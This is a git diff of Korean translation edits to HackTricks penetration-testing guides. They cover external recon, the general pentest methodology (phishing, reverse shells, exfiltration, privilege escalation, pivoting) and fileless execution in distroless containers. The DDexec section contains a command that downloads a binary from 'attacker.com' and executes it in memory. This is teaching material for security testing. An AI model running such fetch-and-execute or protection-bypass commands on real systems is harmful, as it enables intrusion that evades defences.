-p https:8443 #Check port 80, 443 a * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 참조하세요). +그런 다음, 이러한 단어로 **순열**을 생성해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 참조하세요). -결과로 얻은 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** +결과 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.** 클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**. @@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 이메일 -범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작하는 데 필요한 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: +범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다: * [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용 * [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전) @@ -553,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **취약점 찾기** -이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스 공격**에 유용합니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다. +이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스**에 유용하게 사용됩니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다. ## 자격 증명 유출 @@ -573,7 +573,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### 깃허브 유출 자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\ -**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다. +**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고, [**gitleaks**](https://github.com/zricethezav/gitleaks)를 자동으로 실행할 수 있습니다. **Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**. @@ -585,14 +585,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a [github-leaked-secrets.md](github-leaked-secrets.md) {% endcontent-ref %} -### 페이스트 유출 +### Paste 유출 -때때로 공격자나 단순한 직원이 **회사 콘텐츠를 페이스트 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\ -[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 페이스트 사이트에서 검색할 수 있습니다. +때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**합니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색할 가치가 있습니다.\ +[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다. ### 구글 도크 -오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**구글 해킹 데이터베이스**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**. +오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**. _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 차단되므로 결코 끝나지 않을 것입니다._ @@ -602,7 +602,7 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 ## 공개 코드 취약점 -회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다. +회사가 **오픈 소스 코드**를 가지고 있다면, 이를 **분석**하고 **취약점**을 검색할 수 있습니다. **언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다: @@ -618,21 +618,21 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 **버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/). -또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다**. +또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 유용합니다**. ## 요약 -> 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하니까요 (나중에 더 많은 트릭을 볼 것입니다). +> 축하합니다! 이 시점에서 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로(나중에 더 많은 트릭을 볼 것입니다). 따라서 이미 다음을 수행했습니다: 1. 범위 내의 모든 **회사**를 찾았습니다. -2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행). +2. 회사에 속하는 모든 **자산**을 찾았습니다(범위 내에서 일부 취약점 스캔 수행). 3. 회사에 속하는 모든 **도메인**을 찾았습니다. -4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은 있나요?). -5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것). -6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?). -7. 회사에 속하는 모든 **잠재적인 공개 클라우드 자산**을 찾았습니다. +4. 도메인의 모든 **서브도메인**을 찾았습니다(서브도메인 탈취 가능성은 있나요?). +5. 범위 내의 모든 **IP**(CDN에서 온 것과 아닌 것)를 찾았습니다. +6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다(더 깊이 살펴볼 가치가 있는 이상한 점이 있나요?). +7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다. 8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리를 얻을 수 있습니다**. 9. 발견한 모든 웹을 **펜테스팅**했습니다. @@ -647,25 +647,25 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 ## **참고 문헌** -* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, 예를 들어 [**버그 헌터의 방법론 v4.0 - 재콘 에디션**](https://www.youtube.com/watch?v=p4JgIu1mceI) +* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 과정, 예를 들어 [**버그 헌터의 방법론 v4.0 - 재콘 에디션**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks 지원하기 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! -* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요. +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 227b00a64..fcdaa8d9a 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -10,14 +10,14 @@ GCP 해킹 배우기 및 연습하기: {% endhint %} -
+
-해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_). +해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -61,23 +61,23 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ **특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대하기 때문입니다).**\ 또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다. -**목록에 서비스가 없다면, Google에서 다른 튜토리얼을 검색하고** 추가해 달라고 알려주세요. Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트**를 수행하세요. **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**부터 시작할 수 있습니다 (있다면). +**목록에 서비스가 없다면, Google에서 다른 튜토리얼을 검색하고** 추가를 원하시면 알려주세요. Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트**를 수행하세요. **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**으로 시작할 수 있습니다 (있다면). #### 5.1 자동 도구 -**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.** +**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보시기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.** -#### **5.2- 서비스 브루트 포스** +#### **5.2 서비스 브루트 포싱** -일부 시나리오에서는 **브루트 포스**가 **서비스를 손상시키는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.** +일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.** ### 6- [피싱](phishing-methodology/) -이 시점에서 흥미로운 취약점을 찾지 못했다면 **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요: +이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요: ### **7-** [**쉘 얻기**](reverse-shells/) -어떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그런 다음, [역방향 쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/). +어쨌든 피해자에게 **코드를 실행할 방법을 찾아야 합니다**. 그러면 [역 쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/). 특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\ @@ -89,24 +89,24 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ * [**윈도우 (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**정보 유출**](exfiltration.md) +### **9 -** [**탈출**](exfiltration.md) -희생자로부터 **일부 데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (예: 권한 상승 스크립트). **여기에서 이러한 목적에 사용할 수 있는 일반적인 도구에 대한** [**게시물을 확인하세요**](exfiltration.md)**.** +피해자로부터 **일부 데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (예: 권한 상승 스크립트). **여기에서 이러한 목적에 사용할 수 있는 일반적인 도구에 대한** [**게시물을 찾을 수 있습니다**](exfiltration.md)**.** ### **10- 권한 상승** #### **10.1- 로컬 권한 상승** -박스 내에서 **root/Administrator**가 아니라면 **권한을 상승시킬 방법을 찾아야 합니다**.\ -여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한을 상승시키는 방법에 대한 가이드를 찾을 수 있습니다.**\ -또한 **Windows가 어떻게 작동하는지**에 대한 페이지를 확인하세요: +박스 내에서 **root/Administrator**가 아니라면, **권한을 상승시킬 방법을 찾아야 합니다**.\ +여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\ +Windows가 어떻게 작동하는지에 대한 이 페이지도 확인해야 합니다: * [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**NTLM 작동 방식**](../windows-hardening/ntlm/) * Windows에서 [**자격 증명 훔치기**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) -* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지 팁 +* [_**Active Directory**_에 대한 몇 가지 팁](../windows-hardening/active-directory-methodology/) -**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구도 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- 도메인 권한 상승** @@ -116,8 +116,8 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ #### **11**.1 - 약탈 -호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\ -여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾으세요. +호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지** 확인하세요.\ +여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다. #### 11.2 - 지속성 @@ -128,9 +128,9 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료 ### 12 - 피벗팅 -**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, 또는 **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요) 희생자가 연결된 새로운 네트워크 내에서.\ +**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, 또는 **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요) 피해자가 연결된 새로운 네트워크 내에서.\ 이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\ -또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\ +또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물도 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\ [**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. ### 더 많은 정보 @@ -151,9 +151,9 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md) -
+
-해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_). +해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -167,7 +167,7 @@ GCP 해킹 배우기 및 연습하기: {% endhint %} diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index cfd17ab07..027dc33c0 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -15,9 +15,9 @@ GCP 해킹 배우기 및 연습하기:
+
-**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). +**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} @@ -25,12 +25,12 @@ GCP 해킹 배우기 및 연습하기: apiVersion: v1 kind: Pod @@ -53,7 +53,7 @@ securityContext: ## 가장 쉬운 우회: 스크립트 -바이너리를 언급했지만, 기계 내에 인터프리터가 있는 한 **어떤 스크립트든 실행할 수 있습니다**. 예를 들어, `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다. +바이너리를 언급했지만, 기계 내에 인터프리터가 있는 한 **어떤 스크립트도 실행할 수 있습니다**. 예를 들어, `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다. 그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다. @@ -63,14 +63,14 @@ securityContext: ### FD + exec 시스템 호출 우회 -기계 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장할 수 있습니다. 이는 이러한 보호에 의해 보호되지 않으며, 그런 다음 **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**합니다. +기계 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장할 수 있습니다. 이는 이러한 보호에 의해 보호되지 않으며, 그런 다음 **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다. 이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하여 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다. {% hint style="warning" %} -이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문입니다**. 따라서 바이너리를 저장할 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다. +이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문**입니다. 따라서 바이너리를 저장할 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다. -또한, `/dev/shm`에 있는 파일로 **정상 fd**를 생성하는 것은 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다. +또한, `/dev/shm`에 있는 파일로 **정규 fd**를 생성하는 것은 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다. {% endhint %} ### DDexec / EverythingExec @@ -80,7 +80,7 @@ securityContext: 따라서 **프로세스에서 실행되는 어셈블리 코드를 제어**함으로써, **셸코드**를 작성하고 프로세스를 "변형"하여 **임의의 코드를 실행**할 수 있습니다. {% hint style="success" %} -**DDexec / EverythingExec**를 사용하면 **메모리**에서 자신의 **셸코드** 또는 **어떤 바이너리든** 로드하고 **실행**할 수 있습니다. +**DDexec / EverythingExec**를 사용하면 **메모리**에서 자신의 **셸코드** 또는 **어떤 바이너리**를 **로드하고 실행**할 수 있습니다. {% endhint %} ```bash # Basic example @@ -96,7 +96,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo [**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **다른 바이너리**를 **실행**하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새 바이너리를 로드하고 실행**할 수 있습니다. -**memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예시는** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다. +**memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다. ### Memdlopen @@ -112,13 +112,13 @@ Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거하 ### 리버스 셸 -Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`를 찾을 수 없을 수도 있습니다**. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다. +Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`**를 찾을 수 없을 수도 있습니다. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다. {% hint style="warning" %} 따라서, **리버스 셸**을 얻거나 **시스템을 열거**할 수 없습니다. {% endhint %} -그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**와 동일합니다. +그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**와 마찬가지입니다. {% hint style="success" %} 스크립팅 언어를 사용하여 언어의 기능을 활용하여 **시스템을 열거**할 수 있습니다. @@ -130,25 +130,25 @@ Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, **이전 메모리 실행 기술을 사용하여 우회할 수 있습니다**. {% endhint %} -**RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예시는** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다. +**RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다. -
+
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -AWS 해킹 배우고 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP 해킹 배우고 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks 지원하기 -* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요! * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** -* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요. +* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index cbdf4dd04..00ad8281c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -19,10 +19,10 @@ GCP 해킹 배우기 및 연습하기:
+
